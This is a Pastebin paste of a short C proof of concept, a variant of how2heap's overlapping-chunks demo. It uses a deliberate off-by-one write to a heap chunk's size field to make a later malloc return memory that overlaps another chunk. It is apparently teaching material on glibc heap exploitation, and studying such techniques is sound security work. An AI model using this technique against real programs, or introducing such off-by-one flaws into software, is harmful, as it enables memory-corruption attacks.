Guest User

Untitled

a guest
Apr 19th, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.23 KB | None | 0 0
  1. /* Similar to overlapping_chunks.c (from how2heap) with a small change.
  2. * Instead of overwriting size of unsorted chunk, overwrite size of small chunk.
  3. * Now you have to malloc the original size to retrieve this chunk
  4. * Freeing again will now create an overlapped chunk in the unsorted bin which
  5. * can later be retrieved using malloc(corrupt_size);
  6. */
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10.  
  11. int main() {
  12. char *p1 = malloc(0x108);
  13. char *p2 = malloc(0x108);
  14. char *p3 = malloc(0x0); // Preventing merge with top chunk
  15.  
  16. free(p2); // Unsorted bin
  17.  
  18. char *p4 = malloc(0x200); // p2 goes to smallbin
  19.  
  20. // Off by one vuln
  21. p1[0x108] = 0x51;
  22.  
  23. // p2's size is now 0x150, but still in 0x110 smallbin
  24. // Hence, it will be returned in malloc(0x108)
  25. //
  26. // NOTE: A chunk of size 0x150 is returned for a requested size
  27. // of 0x108
  28. char *p5 = malloc(0x108);
  29.  
  30. // Setting some valid size of the next chunk
  31. p4[0x10 + 0x8] = 0x21;
  32. // Setting next chunk to be in use
  33. p4[0x10 + 0x20 + 0x8] = 0x1;
  34.  
  35. free(p5); // p2 freed again
  36.  
  37. // Now we have a free chunk of size 0x150 in unsorted bin
  38. // which is overlapping with p3!!
  39.  
  40. char *p6 = malloc(0x140);
  41.  
  42. fprintf(stderr, "Overlap p6: %p - %p, p3: %p\n", p6, p6 + 0x140, p3);
  43. return 0;
  44. }
Add Comment
Please, Sign In to add comment